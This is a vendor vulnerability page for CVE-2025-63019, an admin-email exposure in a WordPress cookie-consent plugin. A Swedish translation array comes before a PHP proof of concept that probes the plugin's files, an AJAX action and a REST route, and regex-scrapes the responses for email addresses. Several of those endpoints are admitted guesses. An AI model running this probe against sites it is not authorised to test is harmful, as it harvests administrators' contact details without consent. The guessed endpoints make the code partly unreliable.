inställningarna','https://plugins.followmedarling.se/'=>'https://plugins.followmedarling.se/','https://plugins.followmedarling.se/cookies-and-content-security-policy/'=>'https://plugins.followmedarling.se/cookies-and-content-security-policy/','https://wordpress.org/plugins/cookies-and-content-security-policy/#how%20do%20i%20translate%20in%20polylang%3F'=>'https://sv.wordpress.org/plugins/cookies-and-content-security-policy/#how%20do%20i%20translate%20in%20polylang%3F','https://wordpress.org/plugins/cookies-and-content-security-policy/#how%20do%20i%20translate%20in%20wpml%3F'=>'https://sv.wordpress.org/plugins/cookies-and-content-security-policy/#how%20do%20i%20translate%20in%20wpml%3F','Hubspot'=>'Hubspot','id'=>'id','If i missed some common resource or if some resource is missing any setting for domain'=>'Om jag har missat någon vanlig resurs, eller om någon resurs saknar inställning för domän','If you are using a translation plugin (like Polylang or WPML) only your sites default language can be edited here, translations are edited in your translation plugins string translation area.'=>'Om du använder en översättningsplugin (som Polylang eller WPML) så kan du bara redigera ditt default-språk här, översättningar redigerar du bland ditt översättningsplugins strängöversättningar.','If you are using a translation plugin (like Polylang or WPML) you have to save this form to make the texts below appear in your translation plugin. If you are happy with the default texts, and the plugins is already available in your language, you can skip saving this form and everything is already set up for you.'=>'Om du använder en översättningsplugin (som Polylang eller WPML) så måste du spara detta formulär för att texterna nedan ska dyka upp in ditt översättningsplugin. om du är nöjd med texterna, och pluginet redan finns på ditt språk, så kan du hoppa över att spara detta forumläret och allt är klart.','If you enable Google Consent Mode v2, consent will be denied until the visitor accepts marketing cookies. If you do not enable Google Consent Mode v2, consent will always be denied.'=>'Om du aktiverar Google Consent Mode v2 kommer samtycke att nekas tills besökaren accepterar marknadsförings-cookies. Om du inte aktiverar Google Consent Mode v2 nekas samtycke alltid.','If you use a PDF, or have your cookie policy externally, simply add the URL here. Don't forget https://'=>'Om du använder en PDF, eller har din cookiepolicy externt, lägg bara till URL:en här. Glöm inte https://','If you want to link back to the settings modal simply add a link with href = "#cookiesAndContentPolicySettings"'=>'Om du vill länka tillbaks till inställnings-modalen, skapa helt enkelt en länk med href = "#cookiesAndContentPolicySettings"','If you're not using a translation plugin you just need to save this form if you want to change any of the texts.'=>'Om du inte använder någon översättningsplugin så behöver du bara spara detta formuläret om du vill ändra någon av texterna.','If your host does not accept setting php header(), or if you're using static page cache that doesn't go through php, check this to add CSP as a meta tag in the header instead.'=>'Om ditt webbhotell inte låter dig sätta php header(), eller om du använder statisk cache, kryssa i här för att köra CSP som meta tag istället.','Images'=>'Bilder','In order for our website to perform as well as possible during your visit. If you refuse these cookies, some functionality will disappear from the website.'=>'För att vår hemsida ska prestera så bra som möjligt under ditt besök. Om du nekar de här kakorna kommer viss funktionalitet att försvinna från hemsidan.','In order for us to improve the website's functionality and structure, based on how the website is used.'=>'För att vi ska kunna förbättra hemsidans funktionalitet och uppbyggnad, baserat på hur hemsidan används.','Info'=>'Info','Instagram'=>'Instagram','ip'=>'ip','IPs to bypass'=>'IP-adresser att förbigå','Issuu'=>'Issuu','It would make my day. :)'=>'Det skulle gör mig så hjärtans glad. :)','Jetpack'=>'Jetpack','Jonk @ Follow me Darling'=>'Jonk @ Follow me Darling','Just add ?cacsp_bypass=true to your url. All cookies will be accepted for the session. Great for when you run speedtest and so forth.'=>'Lägg bara till ?cacsp_bypass=true till din url. Alla cookies kommer att bli accepterade för sessionen. Bra att använda när man kör test av webbplatsprestanda och så vidare.','LinkedIn Insight Tag/LinkedIn Pixel'=>'LinkedIn Insight Tag/LinkedIn Pixel','Mailchimp'=>'Mailchimp','Marketing'=>'Marknadsföring','Marketing, description'=>'Marknadsföring, beskrivning','Marketing, header'=>'Marknadsföring, rubrik','Marketing, resources for gathering data about the visitor for remarketing etc.'=>'Marknadsföring, resurser för att samla in data om besökaren för remarketing etc.','Media'=>'Media','Misc'=>'Övrigt','Modal background'=>'Bakgrund i modalen','Modal header'=>'Rubrik i modalen','Modal header background'=>'Bakgrund i modalens sidhuvud','Modal list border'=>'Linjer mellan listelement i modalen','Modal text color'=>'Textfärg i modal','Modal text header color'=>'Textfärg i modalens sidhuvud','Necessary'=>'Nödvändiga','Network settings'=>'Nätverksinställningar','No idea :)'=>'Ingen aning :)','Off switch'=>'Av-switch','On switch'=>'På-switch','On switch, text color'=>'Textfärg för aktivt val','Only texts'=>'Bara texter','Only use CSP, no modal for me.'=>'Använd bara CSP, ingen modal för mig, tack.','Only works with banner.'=>'Fungerar bara med banner.','Open cookie policy in a new tab.'=>'Öppna cookie policy i en ny tabb.','Overwrite all settings in Domains'=>'Skriv över alla inställningar i Domäner','Page builders'=>'Sidbyggare','Payment'=>'Betalning','PayPal'=>'PayPal','Quickstart'=>'Snabbstart','Read in the FAQ how to translate with Polylang.'=>'Läs under Vanliga frågor hur du översätter med Polylang.','Read in the FAQ how to translate with WPML.'=>'Läs under Vanliga frågor hur du översätter med WPML.','Read our cookie policy'=>'Läs vår cookie policy','Read the FAQ, all commonly asked questions are answered there.'=>'Läs Vanliga frågor, alla de vanligaste frågorna är besvarade där.','reCAPTCHA v3'=>'reCAPTCHA v3','Recommended for better security.'=>'Rekommenderas för bättre säkerhet.','Refuse all'=>'Neka alla','Refuse button'=>'Neka-knapp','Refuse button border'=>'Färg på ram för neka-knapp','Refuse button color'=>' Färg på neka-knapp','Refuse button text'=>'Färg på neka-knappens text','Review your settings'=>'Granska dina inställningar','Review your settings button'=>'Granska dina inställningar-knapp','Review your settings text'=>'Granska dina inställningar-text','Save'=>'Spara','Save button'=>'Spara-knapp','Save button border'=>'Färg på ram för spara-knapp','Save button color'=>'Färg på spara-knapp','Save button text'=>'Färg på spara-knappens text','Save proof of consent'=>'Spara bevis på samtycke','Save Settings'=>'Spara inställningar','Scripts'=>'Script','Security check failed.'=>'Säkerhetskontroll misslyckades.','Separate domains by new line.<br>Example:<br>https://www.googleadservices.com<br>https://www.googletagmanager.com'=>'Separera domänerna med ny rad.<br>Exempel:<br>https://www.googleadservices.com<br>https://www.googletagmanager.com','Settings'=>'Inställningar','Settings button'=>'Inställnings-knapp','Settings button border'=>'Färg på ram för inställningar-knapp','Settings button color'=>'Färg på inställningar-knapp','Settings button text'=>'Färg på inställningar-knappens text','Settings text'=>'Text för inställningar','Show admin email in error messages.'=>'Visa e-postadress för administration i felmeddelanden.','Show close button (×).'=>'Visa stäng-knapp (×).','Show refuse cookies button.'=>'Visa neka cookies-knapp.','site'=>'site','Social networks'=>'Sociala nätverk','SoundCloud'=>'SoundCloud','Spotify'=>'Spotify','Statistics'=>'Statistik','Statistics, description'=>'Statistik, beskrivning','Statistics, header'=>'Statistik, rubrik','Statistics, resources for gathering data about the visitor for statistics etc.'=>'Statistik, resurser för att samla in data om besökaren för statistik etc.','Stripe'=>'Stripe','Support'=>'Support','Test your settings without disturbing your visitors. Modal and Content Security Policy will be used only for logged in users with Administrator role.'=>'Testa dina instlällningar utan att störa dina besökare. Modal och Content Security Policy kommer bara att synas för inloggade användare med rollen Administratör.','Texts'=>'Texter','The consent data is saved in the database table "your_prefix" + "cacsp_consent". By default, the prefix is "wp_", so in most cases the table is named "wp_cacsp_consent".'=>'Samtyckesuppgifterna sparas i databastabellen "your_prefix" + "cacsp_consent". Som standard är prefixet "wp_", så i de flesta fall heter tabellen "wp_cacsp_consent".','The content can't be loaded, since it is not allowed on the site.'=>'Innehållet kan inte laddas eftersom det inte är tillåtet på siten.','These cookies are not optional. They are needed for the website to function.'=>'Dessa kakor går inte att välja bort. De behövs för att hemsidan över huvud taget ska fungera.','This will bypass the cookie modal and accept all cookies for the specified IPs.'=>'Detta kommer att kringgå cookie-modalen och acceptera alla cookies för de angivna IP-adresserna','This will only make use of domains in Always allowed.'=>'Detta innebär också att bara domäner i Tillåt alltid kommer att användas.','This will print helpful comments at the beginning of your page inside the >head< tag.'=>'Detta kommer att skiva ut hjälpsamma kommentarer i början av din sida inuti >head<-taggen.','time'=>'time','Timeout'=>'Paus','To'=>'Till','Twitter'=>'Twitter','Use Content Security Policy for forms for added security.'=>'Använd Content Security Policy till formulär för ökad säkerhet.','Use Content Security Policy for worker-src.'=>'Använd Content Security Policy för worker-src.','Use meta.'=>'Använd meta.','Use the default colors or pick you own here.'=>'Använd standard-färgerna eller välj dina egna här.','Use this to allow posting data to other sites, like subscribing to a MailChimp newsletter would need https://*.list-manage.com/'=>'Använd denna för att tillåta postning till andra domäner, t.ex. kommer starta prenumereraton på ett MailChimp-nyhetsbrev att behöva https://*.list-manage.com/','Vimeo'=>'Vimeo','Visit the support forum for the plugin at WordPress.org.'=>'Besök support-forumet för pluginet på WordPress.org.','Want support?'=>'Vill du ha support?','Want to support the plugin?'=>'Vill du supporta pluginet?','We are live!'=>'Det är live!','We serve cookies. If you think that's ok, just click "Accept all". You can also choose what kind of cookies you want by clicking "Settings".'=>'Vi bjuder på kakor! Om du tycker det är ok, klickar du bara på "Acceptera alla". Du kan såklart välja vilken typ av kakor du vill ha genom att klicka på "Inställningar".','Wildcard domains can be used.<br>Example:<br>https://*.youtube.com'=>'Wildcard-domäner kan användas.<br>Exempel:<br>https://*.youtube.com','Will be linked from the cookie modal. Does not show the the cookie modal for the user to be able to read the policy before accepting.'=>'Länkas till i cookie-modalen. Visar inte cookie-modalen så att användaren kan läsa policyn innan denne accepterar.','Worker'=>'Worker','WP Engine compatibility mode.'=>'WP Engine kompabilitets-läge.','Yes, the plugin is free. Totally free. But if you still want to pay for it to show your appreciation:'=>'Ja, pluginet är gratis. Helt gratis. Men om du ändå vill betala för det för att visa din uppskattning:','You don't have to fill out this form, the plugin comes with default colors. But if you want to change the colors, this is it.'=>'Du behöver inte fylla i det här formuläret, pluginet har redan alla färger som behövs. Men om du vill ändra några färger så gör du det här.','You don't have to fill out this form, the plugin comes with default settings. But if you want to change settings, this is it.'=>'Du behöver inte fylla i det här formuläret, pluginet har redan alla inställningar som behövs. Men om du vill ändra några inställningar så gör du det här.','You have unsaved changes, do you want to continue?'=>'Du har osparade ändringar, vill du fortsätta?','Your CDN, like https://media.yourdomain.com/'=>'Din CDN, som t.ex. https://media.dinhemsida.se/','Your main site'=>'Din huvudwebbplats','Your settings are now updated'=>'Dina inställningar är nu uppdaterade','Your settings are now updated in <a href="?page=cacsp_settings&tab=domains">Domains</a>'=>'Dina inställningar är nu uppdaterade i <a href="?page=cacsp_settings&tab=domains">Domäner</a>','Your settings may be preventing you from seeing this content. Most likely you have Experience turned off.'=>'Det verkar som om dina inställningar hindrar dig från att se detta innehållet. Med största sannolikhet är det för att du har Upplevelse avstängt.','YouTube'=>'YouTube']];

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-63019 - Cookies and Content Security Policy <= 2.34 - Unauthenticated Information Exposure
<?php

$target_url = 'http://vulnerable-site.com';

// The plugin exposes admin email through its frontend JavaScript system
// This PoC simulates a request that would trigger the cacsp_texts() function
// Note: The exact endpoint may vary based on plugin configuration

echo "Testing CVE-2025-63019 on: $target_urlnn";

// Method 1: Check if plugin is active and vulnerable
$check_url = $target_url . '/wp-content/plugins/cookies-and-content-security-policy/';
$ch = curl_init($check_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 403 || $http_code == 200) {
    echo "[+] Plugin directory accessiblen";
    
    // Method 2: Look for exposed admin email in frontend resources
    // The plugin loads JavaScript that may contain the email
    $js_url = $target_url . '/wp-content/plugins/cookies-and-content-security-policy/js/cacsp.js';
    $ch = curl_init($js_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $js_content = curl_exec($ch);
    curl_close($ch);
    
    // Search for email patterns in the JavaScript
    if (preg_match('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}/', $js_content, $matches)) {
        echo "[+] POTENTIAL ADMIN EMAIL FOUND in JS: " . $matches[0] . "n";
    }
    
    // Method 3: Trigger the plugin's AJAX endpoint
    // The plugin uses admin-ajax.php for various functions
    $ajax_url = $target_url . '/wp-admin/admin-ajax.php';
    $post_data = array(
        'action' => 'cacsp_get_texts'  // Common pattern for plugin AJAX actions
    );
    
    $ch = curl_init($ajax_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    $ajax_response = curl_exec($ch);
    curl_close($ch);
    
    echo "[+] AJAX Response: " . substr($ajax_response, 0, 500) . "n";
    
    // Check response for email pattern
    if (preg_match('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}/', $ajax_response, $email_matches)) {
        echo "[+] CONFIRMED ADMIN EMAIL EXPOSED: " . $email_matches[0] . "n";
        echo "[+] VULNERABILITY CONFIRMEDn";
    } else {
        echo "[-] No email found in AJAX responsen";
        echo "[*] Note: The plugin may expose email through different mechanismsn";
        echo "[*] Check browser developer tools for network requests to admin-ajax.phpn";
        echo "[*] Look for requests with action parameter related to 'cacsp'n";
    }
    
} else {
    echo "[-] Plugin directory not accessible (HTTP $http_code)n";
    echo "[*] The vulnerability may still exist but requires different detection methodn";
}

// Method 4: Check WordPress REST API endpoints
// Some plugins expose data through REST API
$rest_url = $target_url . '/wp-json/cacsp/v1/texts';
$ch = curl_init($rest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$rest_response = curl_exec($ch);
$rest_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($rest_code == 200) {
    echo "[+] REST endpoint accessiblen";
    echo "[+] REST Response: " . substr($rest_response, 0, 500) . "n";
    
    if (preg_match('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}/', $rest_response, $rest_email)) {
        echo "[+] ADMIN EMAIL EXPOSED via REST API: " . $rest_email[0] . "n";
    }
}

echo "nPoC completed. Review responses for exposed admin email addresses.n";
echo "Upgrade to plugin version 2.35 or higher to fix this vulnerability.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School